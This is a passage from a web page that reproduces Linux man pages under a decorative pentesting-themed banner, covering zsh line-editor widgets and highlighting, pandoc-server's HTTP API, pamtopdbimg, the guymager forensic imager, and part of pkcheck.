Exchange the cursor position (point) with the position of the mark. Unless a negative numeric argument is given, the region between point and mark is activated so that it can be highlighted. If a zero numeric argument is given, the region is activated but point and mark are not swapped.

execute-named-cmd (ESC-x) (:) (unbound)
Read the name of an editor command and execute it. Aliasing this widget with `zle -A’ or replacing it with `zle -N’ has no effect when interpreting key bindings, but `zle execute-named-cmd’ will invoke such an alias or replacement.

A restricted set of editing functions is available in the mini-buffer. Keys are looked up in the special command keymap, and if not found there in the main keymap. An interrupt signal, as defined by the stty setting, will abort the function. Note that the following always perform the same task within the executed-named-cmd environment and cannot be replaced by user defined widgets, nor can the set of functions be extended. The allowed functions are: backward-delete-char, vi-backward-delete-char, clear-screen, redisplay, quoted-insert, vi-quoted-insert, backward-kill-word, vi-backward-kill-word, kill-whole-line, vi-kill-line, backward-kill-line, list-choices, delete-char-or-list, complete-word, accept-line, expand-or-complete and expand-or-complete-prefix.

kill-region kills the last word, and vi-cmd-mode is treated the same as accept-line. The space and tab characters, if not bound to one of these functions, will complete the name and then list the possibilities if the AUTO_LIST option is set. Any other character that is not bound to self-insert or self-insert-unmeta will beep and be ignored. The bindings of the current insert mode will be used.

Currently this command may not be redefined or called by name.

execute-last-named-cmd (ESC-z) (unbound) (unbound)
Redo the last function executed with execute-named-cmd.

Like execute-named-cmd, this command may not be redefined, but it may be called by name.

get-line (ESC-G ESC-g) (unbound) (unbound)
Pop the top line off the buffer stack and insert it at the cursor position.

pound-insert (unbound) (#) (unbound)
If there is no # character at the beginning of the buffer, add one to the beginning of each line. If there is one, remove a # from each line that has one. In either case, accept the current line. The INTERACTIVE_COMMENTS option must be set for this to have any usefulness.

vi-pound-insert
If there is no # character at the beginning of the current line, add one. If there is one, remove it. The INTERACTIVE_COMMENTS option must be set for this to have any usefulness.

push-input
Push the entire current multiline construct onto the buffer stack and return to the top-level (PS1) prompt. If the current parser construct is only a single line, this is exactly like push-line. Next time the editor starts up or is popped with get-line, the construct will be popped off the top of the buffer stack and loaded into the editing buffer.

push-line (^Q ESC-Q ESC-q) (unbound) (unbound)
Push the current buffer onto the buffer stack and clear the buffer. Next time the editor starts up, the buffer will be popped off the top of the buffer stack and loaded into the editing buffer.

push-line-or-edit
At the top-level (PS1) prompt, equivalent to push-line. At a secondary (PS2) prompt, move the entire current multiline construct into the editor buffer. The latter is equivalent to push-input followed by get-line.

read-command
Only useful from a user-defined widget. A keystroke is read just as in normal operation, but instead of the command being executed the name of the command that would be executed is stored in the shell parameter REPLY. This can be used as the argument of a future zle command. If the key sequence is not bound, status 1 is returned; typically, however, REPLY is set to undefined-key to indicate a useless key sequence.

recursive-edit
Only useful from a user-defined widget. At this point in the function, the editor regains control until one of the standard widgets which would normally cause zle to exit (typically an accept-line caused by hitting the return key) is executed. Instead, control returns to the user-defined widget. The status returned is non-zero if the return was caused by an error, but the function still continues executing and hence may tidy up. This makes it safe for the user-defined widget to alter the command line or key bindings temporarily.

The following widget, caps-lock, serves as an example.

self-insert-ucase() { LBUFFER+=${(U)KEYS[-1]} }

integer stat

zle -N self-insert self-insert-ucase
zle -A caps-lock save-caps-lock
zle -A accept-line caps-lock

zle recursive-edit
stat=$?

zle -A .self-insert self-insert
zle -A save-caps-lock caps-lock
zle -D save-caps-lock

(( stat )) && zle send-break

return $stat

This causes typed letters to be inserted capitalised until either accept-line (i.e. typically the return key) is typed or the caps-lock widget is invoked again; the later is handled by saving the old definition of caps-lock as save-caps-lock and then rebinding it to invoke accept-line. Note that an error from the recursive edit is detected as a non-zero return status and propagated by using the send-break widget.

redisplay (unbound) (^R) (^R)
Redisplays the edit buffer.

reset-prompt (unbound) (unbound) (unbound)
Force the prompts on both the left and right of the screen to be re-expanded, then redisplay the edit buffer. This reflects changes both to the prompt variables themselves and changes in the expansion of the values (for example, changes in time or directory, or changes to the value of variables referred to by the prompt).

Otherwise, the prompt is only expanded each time zle starts, and when the display has been interrupted by output from another part of the shell (such as a job notification) which causes the command line to be reprinted.

reset-prompt doesn’t alter the special parameter LASTWIDGET.

send-break (^G ESC-^G) (unbound) (unbound)
Abort the current editor function, e.g. execute-named-command, or the editor itself, e.g. if you are in vared. Otherwise abort the parsing of the current line; in this case the aborted line is available in the shell variable ZLE_LINE_ABORTED. If the editor is aborted from within vared, the variable ZLE_VARED_ABORTED is set.

run-help (ESC-H ESC-h) (unbound) (unbound)
Push the buffer onto the buffer stack, and execute the command `run-help cmd’, where cmd is the current command. run-help is normally aliased to man.

vi-set-buffer (unbound) () (unbound)
Specify a buffer to be used in the following command. There are 37 buffers that can be specified: the 26 `named’ buffers “a to “z, the `yank’ buffer “0, the nine `queued’ buffers “1 to “9 and the `black hole’ buffer ”_. The named buffers can also be specified as “A to “Z.

When a buffer is specified for a cut, change or yank command, the text concerned replaces the previous contents of the specified buffer. If a named buffer is specified using a capital, the newly cut text is appended to the buffer instead of overwriting it. When using the ”_ buffer, nothing happens. This can be useful for deleting text without affecting any buffers.

If no buffer is specified for a cut or change command, “1 is used, and the contents of “1 to “8 are each shifted along one buffer; the contents of “9 is lost. If no buffer is specified for a yank command, “0 is used. Finally, a paste command without a specified buffer will paste the text from the most recent command regardless of any buffer that might have been used with that command.

When called from a widget function by the zle command, the buffer can optionally be specified with an argument. For example,

zle vi-set-buffer A

vi-set-mark (unbound) (m) (unbound)
Set the specified mark at the cursor position.

set-mark-command (^@) (unbound) (unbound)
Set the mark at the cursor position. If called with a negative numeric argument, do not set the mark but deactivate the region so that it is no longer highlighted (it is still usable for other purposes). Otherwise the region is marked as active.

spell-word (ESC-$ ESC-S ESC-s) (unbound) (unbound)
Attempt spelling correction on the current word.

split-undo
Breaks the undo sequence at the current change. This is useful in vi mode as changes made in insert mode are coalesced on entering command mode. Similarly, undo will normally revert as one all the changes made by a user-defined widget.

undefined-key
This command is executed when a key sequence that is not bound to any command is typed. By default it beeps.

undo (^_ ^Xu ^X^U) (u) (unbound)
Incrementally undo the last text modification. When called from a user-defined widget, takes an optional argument indicating a previous state of the undo history as returned by the UNDO_CHANGE_NO variable; modifications are undone until that state is reached, subject to any limit imposed by the UNDO_LIMIT_NO variable.

Note that when invoked from vi command mode, the full prior change made in insert mode is reverted, the changes having been merged when command mode was selected.

redo (unbound) (^R) (unbound)
Incrementally redo undone text modifications.

vi-undo-change (unbound) (unbound) (unbound)
Undo the last text modification. If repeated, redo the modification.

visual-mode (unbound) (v) (unbound)
Toggle vim-style visual selection mode. If line-wise visual mode is currently enabled then it is changed to being character-wise. If used following an operator, it forces the subsequent movement command to be treated as a character-wise movement.

visual-line-mode (unbound) (V) (unbound)
Toggle vim-style line-wise visual selection mode. If character-wise visual mode is currently enabled then it is changed to being line-wise. If used following an operator, it forces the subsequent movement command to be treated as a line-wise movement.

what-cursor-position (^X=) (ga) (unbound)
Print the character under the cursor, its code as an octal, decimal and hexadecimal number, the current cursor position within the buffer and the column of the cursor in the current line.

where-is
Read the name of an editor command and print the listing of key sequences that invoke the specified command. A restricted set of editing functions is available in the mini-buffer. Keys are looked up in the special command keymap, and if not found there in the main keymap.

which-command (ESC-?) (unbound) (unbound)
Push the buffer onto the buffer stack, and execute the command `which-command cmd’. where cmd is the current command. which-command is normally aliased to whence.

vi-digit-or-beginning-of-line (unbound) (0) (unbound)
If the last command executed was a digit as part of an argument, continue the argument. Otherwise, execute vi-beginning-of-line.

Text Objects

Text objects are commands that can be used to select a block of text according to some criteria. They are a feature of the vim text editor and so are primarily intended for use with vi operators or from visual selection mode. However, they can also be used from vi-insert or emacs mode. Key bindings listed below apply to the viopp and visual keymaps.

select-a-blank-word (aW) Select a word including adjacent blanks, where a word is defined as a series of non-blank characters. With a numeric argument, multiple words will be selected.

select-a-shell-word (aa)
Select the current command argument applying the normal rules for quoting.

select-a-word (aw)
Select a word including adjacent blanks, using the normal vi-style word definition. With a numeric argument, multiple words will be selected.

select-in-blank-word (iW)
Select a word, where a word is defined as a series of non-blank characters. With a numeric argument, multiple words will be selected.

select-in-shell-word (ia)
Select the current command argument applying the normal rules for quoting. If the argument begins and ends with matching quote characters, these are not included in the selection.

select-in-word (iw)
Select a word, using the normal vi-style word definition. With a numeric argument, multiple words will be selected.

CHARACTER HIGHLIGHTING

The line editor has the ability to highlight characters or regions of the line that have a particular significance. This is controlled by the array parameter zle_highlight, if it has been set by the user.

If the parameter contains the single entry none all highlighting is turned off. Note the parameter is still expected to be an array.

Otherwise each entry of the array should consist of a word indicating a context for highlighting, then a colon, then a comma-separated list of the types of highlighting to apply in that context.

The contexts available for highlighting are the following:

default Any text within the command line not affected by any other highlighting. Text outside the editable area of the command line is not affected.

isearch
When one of the incremental history search widgets is active, the area of the command line matched by the search string or pattern.

region
The currently selected text. In emacs terminology, this is referred to as the region and is bounded by the cursor (point) and the mark. The region is only highlighted if it is active, which is the case after the mark is modified with set-mark-command or exchange-point-and-mark. Note that whether or not the region is active has no effect on its use within emacs style widgets, it simply determines whether it is highlighted. In vi mode, the region corresponds to selected text in visual mode.

special
Individual characters that have no direct printable representation but are shown in a special manner by the line editor. These characters are described below.

suffix
This context is used in completion for characters that are marked as suffixes that will be removed if the completion ends at that point, the most obvious example being a slash (/) after a directory name. Note that suffix removal is configurable; the circumstances under which the suffix will be removed may differ for different completions.

paste
Following a command to paste text, the characters that were inserted.

When region_highlight is set, the contexts that describe a region – isearch, region, suffix, and paste – are applied first, then region_highlight is applied, then the remaining zle_highlight contexts are applied. If a particular character is affected by multiple specifications, the last specification wins.

zle_highlight may contain additional fields for controlling how terminal sequences to change colours are output. Each of the following is followed by a colon and a string in the same form as for key bindings. This will not be necessary for the vast majority of terminals as the defaults shown in parentheses are widely used.

fg_start_code ([3) The start of the escape sequence for the foreground colour. This is followed by one to three ASCII digits representing the colour. Only used for palette colors, i.e. not 24-bit colors specified via a color triplet.

fg_default_code (9)
The number to use instead of the colour to reset the default foreground colour.

fg_end_code (m)
The end of the escape sequence for the foreground colour.

bg_start_code ([4)
The start of the escape sequence for the background colour. See fg_start_code above.

bg_default_code (9)
The number to use instead of the colour to reset the default background colour.

bg_end_code (m)
The end of the escape sequence for the background colour.

The available types of highlighting are the following. Note that not all types of highlighting are available on all terminals:

none No highlighting is applied to the given context. It is not useful for this to appear with other types of highlighting; it is used to override a default.

fg=colour
The foreground colour should be set to colour, a decimal integer, the name of one of the eight most widely-supported colours or as a `
#
’ followed by an RGB triplet in hexadecimal format.

Not all terminals support this and, of those that do, not all provide facilities to test the support, hence the user should decide based on the terminal type. Most terminals support the colours black, red, green, yellow, blue, magenta, cyan and white, which can be set by name. In addition. default may be used to set the terminal’s default foreground colour. Abbreviations are allowed; b or bl selects black. Some terminals may generate additional colours if the bold attribute is also present.

On recent terminals and on systems with an up-to-date terminal database the number of colours supported may be tested by the command `echotc Co’; if this succeeds, it indicates a limit on the number of colours which will be enforced by the line editor. The number of colours is in any case limited to 256 (i.e. the range 0 to 255).

Some modern terminal emulators have support for 24-bit true colour (16 million colours). In this case, the hex triplet format can be used. This consists of a `#’ followed by either a three or six digit hexadecimal number describing the red, green and blue components of the colour. Hex triplets can also be used with 88 and 256 colour terminals via the zsh/nearcolor module (see zshmodules(1)).

Colour is also known as color.

**bg=**colour
The background colour should be set to colour. This works similarly to the foreground colour, except the background is not usually affected by the bold attribute.

bold
The characters in the given context are shown in a bold font. Not all terminals distinguish bold fonts.

standout
The characters in the given context are shown in the terminal’s standout mode. The actual effect is specific to the terminal; on many terminals it is inverse video. On some such terminals, where the cursor does not blink it appears with standout mode negated, making it less than clear where the cursor actually is. On such terminals one of the other effects may be preferable for highlighting the region and matched search string.

underline
The characters in the given context are shown underlined. Some terminals show the foreground in a different colour instead; in this case whitespace will not be highlighted.

The characters described above as `special’ are as follows. The formatting described here is used irrespective of whether the characters are highlighted:

ASCII control characters Control characters in the ASCII range are shown as `^’ followed by the base character.

Unprintable multibyte characters
This item applies to control characters not in the ASCII range, plus other characters as follows. If the MULTIBYTE option is in effect, multibyte characters not in the ASCII character set that are reported as having zero width are treated as combining characters when the option COMBINING_CHARS is on. If the option is off, or if a character appears where a combining character is not valid, the character is treated as unprintable.

Unprintable multibyte characters are shown as a hexadecimal number between angle brackets. The number is the code point of the character in the wide character set; this may or may not be Unicode, depending on the operating system.

Invalid multibyte characters
If the MULTIBYTE option is in effect, any sequence of one or more bytes that does not form a valid character in the current character set is treated as a series of bytes each shown as a special character. This case can be distinguished from other unprintable characters as the bytes are represented as two hexadecimal digits between angle brackets, as distinct from the four or eight digits that are used for unprintable characters that are nonetheless valid in the current character set.

Not all systems support this: for it to work, the system’s representation of wide characters must be code values from the Universal Character Set, as defined by IS0 10646 (also known as Unicode).

Wrapped double-width characters
When a double-width character appears in the final column of a line, it is instead shown on the next line. The empty space left in the original position is highlighted as a special character.

If zle_highlight is not set or no value applies to a particular context, the defaults applied are equivalent to

zle_highlight=(region:standout special:standout suffix:bold isearch:underline paste:standout)

i.e. both the region and special characters are shown in standout mode.

Within widgets, arbitrary regions may be highlighted by setting the special array parameter region_highlight; see above.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2034 - Linux cli command pandoc-server

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pandoc-server and provides detailed information about the command pandoc-server, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pandoc-server.

SYNOPSIS

pandoc-server [options]

DESCRIPTION

pandoc-server is a web server that can perform pandoc conversions. It can be used either as a running server or as a CGI program.

To use pandoc-server as a CGI program, rename it (or symlink it) as pandoc-server.cgi. (Note: if you symlink it, you may need to adjust your webserver’s configuration in order to allow it to follow symlinks for the CGI script.)

All pandoc functions are run in the PandocPure monad, which ensures that they can do no I/O operations on the server. This should provide a high degree of security. This security does, however, impose certain limitations:

  • PDFs cannot be produced.

  • Filters are not supported.

  • Resources cannot be fetched via HTTP.

  • Any images, include files, or other resources needed for the document conversion must be explicitly included in the request, via the files field (see below under API).

OPTIONS

--port NUM
HTTP port on which to run the server. Default: 3030.

--timeout SECONDS
Timeout in seconds, after which a conversion is killed. Default: 2.

When pandoc-server is run as a CGI program, this option can be set via the PANDOC_SERVER_TIMEOUT environment variable.

--help
Print this help.

--version
Print version.

API

Root endpoint

The root (/) endpoint accepts only POST requests.

Response

It returns a converted document in one of the following formats (in order of preference), depending on the Accept header:

  • application/octet-stream

  • text/plain

  • application/json

If the result is a binary format (e.g., epub or docx) and the content is returned as plain text or JSON, the binary will be base64 encoded.

If a JSON response is given, it will have one of the following formats. If the conversion is not successful:

{ "error": string with the error message }

If the conversion is successful:

{ "output": string with textual or base64-encoded binary output,
  "base64": boolean (true means the "output" is base64-encoded),
  "messages": array of message objects (see below) }

Each element of the “messages” array will have the format

{ "message": string,
  "verbosity": string (either "WARNING" or "INFO") }

Request

The body of the POST request should be a JSON object, with the following fields. Only the text field is required; all of the others can be omitted for default values. When there are several string alternatives, the first one given is the default.

text (string)
The document to be converted. Note: if the from format is binary (e.g., epub or docx), then text should be a base64 encoding of the document.

from (string, default "markdown")
The input format, possibly with extensions, just as it is specified on the pandoc command line.

to (string, default "html")
The output format, possibly with extensions, just as it is specified on the pandoc command line.

shift-heading-level-by (integer, default 0)
Increase or decrease the level of all headings.

indented-code-classes (array of strings)
List of classes to be applied to indented Markdown code blocks.

default-image-extension (string)
Extension to be applied to image sources that lack extensions (e.g. ".jpg").

metadata (JSON map)
String-valued metadata.

tab-stop (integer, default 4)
Tab stop (spaces per tab).

track-changes ("accept"|"reject"|"all")
Specifies what to do with insertions, deletions, and comments produced by the MS Word “Track Changes” feature. Only affects docx input.

abbreviations (file path)
List of strings to be regarded as abbreviations when parsing Markdown. See --abbreviations in pandoc(1) for details.

standalone (boolean, default false)
If true, causes a standalone document to be produced, using the default template or the custom template specified using template. If false, a fragment will be produced.

template (string)
String contents of a document template (see Templates in pandoc(1) for the format).

variables (JSON map)
Variables to be interpolated in the template. (See Templates in pandoc(1).)

dpi (integer, default 96)
Dots-per-inch to use for conversions between pixels and other measurements (for image sizes).

wrap ("auto"|"preserve"|"none")
Text wrapping option: either "auto" (automatic hard-wrapping to fit within a column width), "preserve" (insert newlines where they are present in the source), or "none" (don’t insert any unnecessary newlines at all).

columns (integer, default 72)
Column width (affects text wrapping and calculation of table column widths in plain text formats)

table-of-contents (boolean, default false)
Include a table of contents (in supported formats).

toc-depth (integer, default 3)
Depth of sections to include in the table of contents.

strip-comments (boolean, default false)
Causes HTML comments to be stripped in Markdown or Textile source, instead of being passed through to the output format.

highlight-style (string, leave unset for no highlighting)
Specify the style to use for syntax highlighting of code. Standard styles are "pygments" (the default), "kate", "monochrome", "breezeDark", "espresso", "zenburn", "haddock", and "tango". Alternatively, the path of a .theme with a KDE syntax theme may be used (in this case, the relevant file contents must also be included in files, see below).

embed-resources
Embed images, scripts, styles and other resources in an HTML document using data URIs. Note that this will not work unless the contents of all external resources are included under files.

html-q-tags (boolean, default false)
Use <q> elements in HTML instead of literal quotation marks.

ascii (boolean, default false)
Use entities and escapes when possible to avoid non-ASCII characters in the output.

reference-links (boolean, default false)
Create reference links rather than inline links in Markdown output.

reference-location ("document"|"section"|"block")
Determines whether link references and footnotes are placed at the end of the document, the end of the section, or the end of the block (e.g. paragraph), in certain formats. (See pandoc(1) under --reference-location.)

setext-headers (boolean, default false)
Use Setext (underlined) headings instead of ATX (#-prefixed) in Markdown output.

top-level-division ("default"|"part"|"chapter"|"section")
Determines how top-level headings are interpreted in LaTeX, ConTeXt, DocBook, and TEI. The "default" value tries to choose the best interpretation based on heuristics.

number-sections (boolean, default false)
Automatically number sections (in supported formats).

number-offset (array of integers)
Offsets to be added to each component of the section number. For example, [1] will cause the first section to be numbered “2” and the first subsection “2.1”; [0,1] will cause the first section to be numbered “1” and the first subsection “1.2.”

html-math-method ("plain"|"webtex"|"gladtex"|"mathml"|"mathjax"|"katex")
Determines how math is represented in HTML.

listings (boolean, default false)
Use the listings package to format code in LaTeX output.

incremental (boolean, default false)
If true, lists appear incrementally by default in slide shows.

slide-level (integer)
Heading level that deterimes slide divisions in slide shows. The default is to pick the highest heading level under which there is body text.

section-divs (boolean, default false)
Arrange the document into a hierarchy of nested sections based on the headings.

email-obfuscation ("none"|"references"|"javascript")
Determines how email addresses are obfuscated in HTML.

identifier-prefix (string)
Prefix to be added to all automatically-generated identifiers.

title-prefix (string)
Prefix to be added to the title in the HTML header.

reference-doc (file path)
Reference doc to use in creating docx or odt or pptx. See pandoc(1) under --reference-doc for details. The contents of the file must be included under files.

split-level (integer, default 1)
Heading level at which documents are split in EPUB or chunked HTML.

epub-cover-image (file path)
Cover image for EPUB. The contents of the file must be included under files.

epub-metadata (file path)
Path of file containing Dublin core XML elements to be used for EPUB metadata. The contents of the file must be included under files.

epub-subdirectory (string, default “EPUB”)
Name of content subdirectory in the EPUB container.

epub-fonts (array of file paths)
Fonts to include in the EPUB. The fonts themselves must be included in files (see below).

ipynb-output ("best"|"all"|"none")
Determines how ipynb output cells are treated. all means that all of the data formats included in the original are preserved. none means that the contents of data cells are omitted. best causes pandoc to try to pick the richest data block in each output cell that is compatible with the output format.

citeproc (boolean, default false)
Causes citations to be processed using citeproc. See Citations in pandoc(1) for details.

bibliography (array of file paths)
Files containing bibliographic data. The contents of the files must be included in files.

csl (file path)
CSL style file. The contents of the file must be included in files.

cite-method ("citeproc"|"natbib"|"biblatex")
Determines how citations are formatted in LaTeX output.

files (JSON mapping of file paths to base64-encoded strings)
Any files needed for the conversion, including images referred to in the document source, should be included here. Binary data must be base64-encoded. Textual data may be left as it is, unless it is also valid base 64 data, in which case it will be interpreted that way.

/batch endpoint

The /batch endpoint behaves like the root endpoint, except for these two points:

  • It accepts a JSON array, each element of which is a JSON object like the one expected by the root endpoint.

  • It returns a JSON array of JSON results.

This endpoint can be used to convert a sequence of small snippets in one request.

/version endpoint

The /version endpoint accepts a GET request and returns the pandoc version as a plain or JSON-encoded string, depending on Accept headers.

/babelmark endpoint

The /babelmark endpoint accepts a GET request with the following query parameters:

  • text (required string)

  • from (optional string, default is "markdown")

  • to (optional string, default is "html")

  • standalone (optional boolean, default is false)

It returns a JSON object with fields html and version. This endpoint is designed to support the Babelmark website.

AUTHORS

Copyright 2022 John MacFarlane ([email protected]). Released under the GPL, version 2 or greater. This software carries no warranty of any kind. (See COPYRIGHT for full copyright and warranty notices.)

The Pandoc source code may be downloaded from <https://hackage.haskell.org/package/pandoc> or <https://github.com/jgm/pandoc/releases>. Further documentation is available at <https://pandoc.org>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2035 - Linux cli command pamtopdbimg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtopdbimg and provides detailed information about the command pamtopdbimg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtopdbimg.

.

NAME 🖥️ pamtopdbimg 🖥️

convert a Netpbm image to a Palm Pilot Image Viewer PDB Image

SYNOPSIS

pamtopdbimg

[-notefile=filename] [-title=text] [-compressed] [-uncompressed] [-maybecompressed] [-4depth] [-fixedtime]

[netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamtopdbimg reads a Netpbm image as input and produced a Palm Pilot Image Viewer image (and Image record in a PDB file) as output.

If the Netpbm image is black and white, the Pilot image is monochrome. Otherwise, the Pilot image is either 4-level or 16-level grayscale, depending on the -4depth option.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtopdbimg recognizes the following command line options:

**-title=**text
The title of the image, to be included in the image.

-compressed
-uncompressed
-maybecompressed
You may specify only one of these. -compressed says to generate the image in compressed format. -uncompressed says to generate the image in uncompressed format. -maybecompressed says to generate whichever format is smaller (the compression algorithm sometimes actually makes the data larger).

-4depth
This option makes pamtopdbimg create the image in 16-level grayscale (4 bits per pixel) format. If you don’t specify this, pamtopdbimg uses 4-level (2 bits per pixel) format.

This option has no effect when the input is black and white (maxval 1). In that case, pamtopdbimg generates the monochrome (1 bit per pixel) format regardless.

**-notefile=**filename
Attach the note in the specified file to the image.

If you don’t specify this, pamtopdbimg does not attach any note.

-fixedtime
Fake the mtime and ctime vaues in the PDB image with a value that is the same every time you run the program. This facilitates testing and verification because it means with the same input you always get the same output.

This option was new in Netpbm 10.98 (March 2022).

SEE ALSO

pdbimgtopam(1) , palmtopnm(1) , pam(1) ,

HISTORY

pamtopdbimg was new in Netpbm 10.52 (September 2010). It was modelled after Eric A. Howe’s imgvtopbm package, which dates back to September 1997.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtopdbimg.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2036 - Linux cli command guymager

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command guymager and provides detailed information about the command guymager, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the guymager.

0.8.13-1" “guymager manual pages”

NAME 🖥️ guymager 🖥️

a forensic acquisition program

SYNOPSIS

guymager [**log=**log_file] [**cfg=**configuration_file] [options]

DESCRIPTION

Guymager is a Qt-based forensic imager. It is capable of producing image files in EWF, AFF and dd format. Its main strenghs are the easy user interface, the high imaging speed and the extended acquisition info file.

The internal structure is based on separate threads for reading, hash calculation (MD5 and SHA256), writing and includes a parallelised compression engine, thus making full usage of multi-processor and hyper-threading machines.

Guymager should be run with root privileges, as other users do not have access to physical devices normally.

OPTIONS

**log=**log_file
By default, guymager uses /var/log/guymager.log as its log file. This option allows for specifying a different file.

**cfg=**configuration_file
The default configuration file is /etc/guymager/guymager.cfg. This option allows for specifying a different file. Guymager creates a template configuration file when the option -cfg=template.cfg is given.

All other configuration options may be specified on the command line and/or in the configuration file. See /etc/guymager/guymager.cfg for a description of all possible options. In case an option is specified in the configuration file and on the command line, the command line dominates.

EXIT CODES

Guymager normally returns an exit code of 0. Exit code 1 means that Guymager terminated because the AutoExit function became active. All other exit codes are related to internal Guymager or Qt errors.

EXAMPLES

Write all log entries to ./my.log:
guymager log=my.log

Create a template configuration file
guymager cfg=template.cfg

Read the configuration from my.cfg and use 4 threads for parallelised compression:
guymager cfg=my.cfg CompressionThreads=4

See /etc/guymager/guymager.cfg for details about option CompressionThreads and all other options as well.

AUTHOR

Guy Voncken (develop (at) faert.net)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2037 - Linux cli command pkcheck

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcheck and provides detailed information about the command pkcheck, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcheck.

NAME 🖥️ pkcheck 🖥️

Check whether a process is authorized

SYNOPSIS

pkcheck [–version] [–help|-h]

pkcheck [–list-temp]

pkcheck [–revoke-temp]

pkcheck –action-id|-a action {–process|-p { pid | pid,pid-start-time | pid,pid-start-time,uid } | –system-bus-name|-s busname} [–allow-user-interaction|-u] [–enable-internal-agent] [–detail|-d key value…]

DESCRIPTION

pkcheck is used to check whether a process, specified by either –process (see below) or –system-bus-name, is authorized for action. The –detail option can be used zero or more times to pass details about action. If –allow-user-interaction is passed, pkcheck blocks while waiting for authentication.

The invocation pkcheck –list-temp will list all temporary authorizations for the current session and pkcheck –revoke-temp will revoke all temporary authorizations for the current session.

This command is a simple wrapper around the polkit D-Bus interface; see the D-Bus interface documentation for details.

RETURN VALUE

If the specified process is authorized, pkcheck exits with a return value of 0. If the authorization result contains any details, these are printed on standard output as key/value pairs using environment style reporting, e.g. first the key followed by a an equal sign, then the value followed by a newline.

KEY1=VALUE1 KEY2=VALUE2 KEY3=VALUE3 …

